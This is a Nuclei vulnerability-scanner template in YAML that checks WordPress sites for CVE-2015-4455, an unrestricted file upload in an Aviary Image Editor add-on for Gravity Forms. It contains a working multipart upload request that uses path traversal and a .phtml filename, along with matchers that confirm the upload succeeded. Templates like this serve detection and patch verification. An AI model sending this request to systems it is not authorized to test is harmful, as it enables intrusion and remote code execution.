nuclei-templates/http/cves/2015/CVE-2015-4455.yaml

71 lines
2.8 KiB
YAML

id: CVE-2015-4455
info:
name: WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload
author: MaStErChO
severity: critical
description: |
Unrestricted file upload vulnerability in includes/upload.php in the Aviary Image Editor Add-on For Gravity Forms plugin 3.0 beta for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/uploads/gform_aviary.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2015-4455
- http://packetstormsecurity.com/files/132256/WordPress-Aviary-Image-Editor-Add-On-For-Gravity-Forms-3.0-Beta-Shell-Upload.html
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2015-4455
cwe-id: CWE-434
epss-score: 0.55856
epss-percentile: 0.97673
cpe: cpe:2.3:a:aviary_image_editor_add-on_for_gravity_forms_project:aviary_image_editor_add-on_for_gravity_forms:*:beta:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: "aviary_image_editor_add-on_for_gravity_forms_project"
product: "aviary_image_editor_add-on_for_gravity_forms"
framework: wordpress
tags: cve,cve2015,packetstorm,intrusive,file-upload,wordpress,aviary_image_editor_add-on_for_gravity_forms_project
variables:
filename: '{{rand_base(7, "abc")}}'
http:
- raw:
- |
GET /?gf_page=upload HTTP/1.1
Host: {{Hostname}}
- |
POST /?gf_page=upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=a54906fe12c504cb01ca836d062f82fa
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="field_id"
3
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="form_id"
1
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="gform_unique_id"
../../../
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="name"
{{filename}}.phtml
--a54906fe12c504cb01ca836d062f82fa
Content-Disposition: form-data; name="file"; filename="{{filename}}.jpg"
Content-Type: text/html
{{randstr}}
--a54906fe12c504cb01ca836d062f82fa--
matchers:
- type: dsl
dsl:
- 'contains(body_1, "Failed to upload file")'
- 'status_code_2 == 200'
- 'contains(body_2, "uploaded_filename\":\"{{filename}}.jpg")'
condition: and
# digest: 490a00463044022067d4626f991b5320d154fca6def6dc21753ef35f5a0543c467bc488dbacf5566022054458f7ad78bf887b24f12116181f91e185b42ead7bc422d614c165d4df94783:922c64590222798bb761d5b6d8e72950